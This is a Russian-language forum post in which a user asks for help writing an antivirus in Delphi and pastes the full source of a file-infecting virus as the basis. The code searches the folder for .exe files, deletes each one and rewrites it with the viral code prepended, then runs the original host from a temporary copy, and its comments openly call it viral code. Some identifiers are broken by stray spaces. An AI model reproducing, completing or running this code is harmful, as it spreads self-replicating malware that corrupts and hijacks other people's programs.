Антивирус На Делфи

  • Автор темы Thumbelina
  • Дата начала
T

Thumbelina

#1
доброго вечера,друзья..может ли кто-то. помочь в написании антивируса на основе вот этого кода.

unit unForm;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls;

type
TVForm = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
Procedure Infect(s: string);
Procedure FindAndKill;
procedure Execute;
end;

var
VForm: TVForm;

implementation

{$R *.dfm}

uses unBlood;

const

//не запускайте программу с некорректным значением константы!!!
//используйте Project - Build

VirLen=374784; //посмотреть в свойствах файла love.exe
//после сборки Project - Build

//не запускайте программу с некорректным значением константы!!!
//используйте Project - Build

type
TArr=array[1..VirLen] of byte;

Var
path,app:string;
InfLen:longint;
ArrVir:TArr;

procedure TVForm.FormCreate(Sender: TObject);
begin
app:=Application.ExeName;
path:=ExtractFileDir(app);
if path[Length(path)]<>'\' then
path:=path+'\';
end;

procedure TVForm.Execute;
var
Read: Dword;
err:cardinal;
File1h,File2h: hFile;
ArrInf:TArr;
Sr: TSearchRec;
Len:longint;
StartupInfo: TStartupInfo;
ProcessInfo:TProcessInformation;
begin
CopyFile(PChar(app),PChar(path+'tem p1.tmp'),false); //копирует сам себя во
//временный файл temp1.tmp

if FindFirst(PChar(path+'temp1.tmp'),f aAnyFile,sr)<>0 then
begin
FindClose(sr);
Exit;
end;
Len:=sr.Size; //находим длину самого себя (в копии)
FindClose(sr);

File1h:=_lOpen(PChar(path+'temp1.tm p'),OF_READ);
_hRead(File1h,@ArrVir,VirLen);
_lClose(File1h);

if Len>VirLen then //если длина себя больше, чем вирусный код
//т.е. запущена зараженная программа
begin
File1h:=_lOpen(PChar(path+'temp1.tm p'),OF_READ);
_hRead(File1h,@ArrInf,VirLen); //читаем (пропускаем) вирусный код
File2h:=_lcreat(PChar(app+'tmp'),0) ; //создаем новый файл и вытаскиваем
//в него программу-носитель
repeat
Read:=_hRead(File1h,@ArrInf,VirLen) ; //читаем в буфер
_hWrite(File2h,@ArrInf,Read); //пишем в файл программы-носителя
until Read=0;
_lClose(File1h);
_lClose(File2h);
DeleteFile(PChar(path+'temp1.tmp')) ;
StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow := SW_SHOW;
if not CreateProcess(nil,
PChar(app+'tmp'), { указатель командной строки, путь к
программе + аргументы }
nil, { указатель на процесс атрибутов безопасности }
nil, { указатель на поток атрибутов безопасности }
false, { флаг родительского обработчика }
CREATE_NEW_CONSOLE or { флаг создания }
NORMAL_PRIORITY_CLASS,
nil, { указатель на новую среду процесса }
nil, { указатель на имя текущей директории }
StartupInfo, { указатель на STARTUPINFO }
ProcessInfo) { указатель на PROCESS_INF }
then
err := 0
else
begin
//создаем параллельный поток и ждём, когда пользователь
//завершит работу с программой-носителем
Blood:=TBlood.Create(false);
WaitforSingleObject(ProcessInfo.hPr ocess,INFINITE);
GetExitCodeProcess(ProcessInfo.hPro cess,Err);
Blood.Terminate;
end;
DeleteFile(PChar(app+'tmp')); //чистим мусор
end
else
DeleteFile(PChar(path+'temp1.tmp')) ; //чистим мусор
findAndKill;
end;

procedure TVForm.FindAndKill;
var
Sr: TSearchRec;
result: integer;
Prev: string;
begin
Prev:='';
Result:= FindFirst ('*.exe',faAnyFile xor faReadOnly,sr);
While (result=0) And (Prev<>Sr.Name) do
Begin
Prev:=Sr.Name;
if Sr.Name<>app then
begin
InfLen:=Sr.Size;
Infect(path+Sr.Name);
end;
result:=FindNext (sr);
End;
end;
procedure TVForm.Infect(s: string);
var
Read: Dword;
i:integer;
File1h,File2h: hFile;
ArrInf:TArr;
infected:boolean;
begin
CopyFile(PChar(s),PChar(path+'temp2 .tmp'),false); //создаем копию

File2h:=_lOpen(PChar(path+'temp2.tm p'),OF_READ);

_hRead(File2h,@ArrInf,VirLen);
_lClose(File2h);

//определяем, заражена ли программа
infected:=true;
for i:=1 to VirLen do
infected:=infected and (ArrVir=ArrInf);

if infected then
begin
DeleteFile(PChar(path+'temp2.tmp')) ;
Exit;
end;

DeleteFile(s); //удаляем старый файл
if FileExists(s) then
Exit;

File1h:=_lcreat(PChar(s),0); //создаем новый с таким же именем
File2h:=_lOpen(PChar(path+'temp2.tm p'),OF_READ);
_hWrite(File1h,@ArrVir,VirLen); //пишем в него вирусный код

repeat //после вируса - программу-носитель
Read:=_hRead(File2h,@ArrInf,VirLen) ;
_hWrite(File1h,@ArrInf,Read);
until Read=0;

_lClose(File1h);
_lClose(File2h);
DeleteFile(PChar(path+'temp2.tmp')) ; //чистим мусор
end;

end.